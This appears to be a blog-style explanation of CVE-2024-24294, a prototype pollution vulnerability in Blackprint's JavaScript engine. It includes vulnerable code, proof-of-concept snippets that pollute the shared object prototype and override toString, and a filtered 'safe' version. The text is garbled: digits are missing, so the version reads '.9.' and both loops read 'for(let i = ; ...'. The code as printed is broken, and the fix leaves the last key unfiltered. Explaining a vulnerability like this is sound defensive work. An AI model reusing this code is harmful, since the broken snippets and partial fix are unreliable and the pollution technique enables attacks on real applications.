Recently, a serious vulnerability has been discovered in Blackprint’s JavaScript engine, specifically in the package @blackprint/engine version .9.. Named CVE-2024-24294, this bug can let an attacker manipulate the prototype of JavaScript objects. Even worse, it can allow bad actors to potentially run their own malicious code.

This long read will break down what the bug is, how it works, and show you exactly how it could be exploited. We'll use plain language and real code examples so anyone (not just security pros) can follow along.

What is Prototype Pollution?

First, a quick refresher: Prototype pollution happens in JavaScript when someone alters the __proto__ property of an object. If a library doesn’t check for this, a hacker could change how core functions work for every object in your app.

Result: Possible DoS (Denial of Service), escalating to remote code execution (RCE).

Where’s the Issue in Blackprint?

This vulnerability lives in the _utils.setDeepProperty function in the minified file engine.min.js.

The problem: The code doesn’t block keys like "__proto__" or "constructor", which means anyone can inject properties right into JavaScript’s global object templates.

A Simplified Version of the Problem Code

function setDeepProperty(obj, path, value){
  let keys = path.split('.');
  let current = obj;
  for(let i = ; i < keys.length - 1; i++){
    let key = keys[i];
    if(!(key in current)){
      current[key] = {};
    }
    current = current[key];
  }
  current[keys[keys.length - 1]] = value;
}

Notice: There’s no filter for dangerous keys like __proto__ or constructor.

How the Attack Works

By calling setDeepProperty with a path like __proto__.polluted, the attacker adds data to the shared prototype. That change now affects all future objects!

Assume user input controls the key or path used in setDeepProperty

let userInput = '__proto__.isHacked';
let value = true;

_utils.setDeepProperty({}, userInput, value);

console.log({}.isHacked); // true: All objects now have 'isHacked'

This pollutes all objects. In some cases, if app code later checks for or runs certain properties, an attacker can even cause code execution.

Suppose your app uses object keys to determine what function to run

let actions = {};
_utils.setDeepProperty(actions, '__proto__.toString', function() {
  console.log('Malicious code executed!');
});

let fakeObj = {};
fakeObj.toString(); // This will log: 'Malicious code executed!'

Worse: If parts of the app later eval or run code from polluted properties, arbitrary code execution is possible.

DoS attacks: App may crash or behave unpredictably.

- Escalation: With clever pollution, an attacker could execute their own JavaScript code server-side (RCE).

References and Resources

- NVD entry: CVE-2024-24294 (nvd.nist.gov)
- Blackprint repo (engine): https://github.com/Blackprint/engine

More on prototype pollution:

- Prototype Pollution Attacks in JavaScript Applications
- OWASP: Prototype Pollution

How to Fix

1. Filter Keys: Before using user-supplied keys/paths, check for dangerous property names.
2. Upgrade: Watch for a patched version of @blackprint/engine (Check the releases).

Sanitize Input: Never let untrusted input near object keys or property paths.

function setDeepPropertySafe(obj, path, value){
  let keys = path.split('.');
  let current = obj;
  for(let i = ; i < keys.length - 1; i++){
    let key = keys[i];
    if(key === '__proto__' || key === 'constructor' || key === 'prototype') {
      throw new Error("Bad key detected!");
    }
    if(!(key in current)){
      current[key] = {};
    }
    current = current[key];
  }
  current[keys[keys.length - 1]] = value;
}

Conclusion

CVE-2024-24294 is a classic and dangerous example of prototype pollution, hidden in Blackprint’s widely-used engine. If you’re using @blackprint/engine at version .9., update and patch ASAP. Even if you never expose paths to users, this vulnerability is a reminder to sanitize everywhere.

Stay safe, update often, and keep your code clean!

If you found this post useful, share it or check the official advisory and the Blackprint GitHub repo for the latest status on this bug.

Timeline

Published on: 05/20/2024 17:15:09 UTC
Last modified on: 07/03/2024 01:48:14 UTC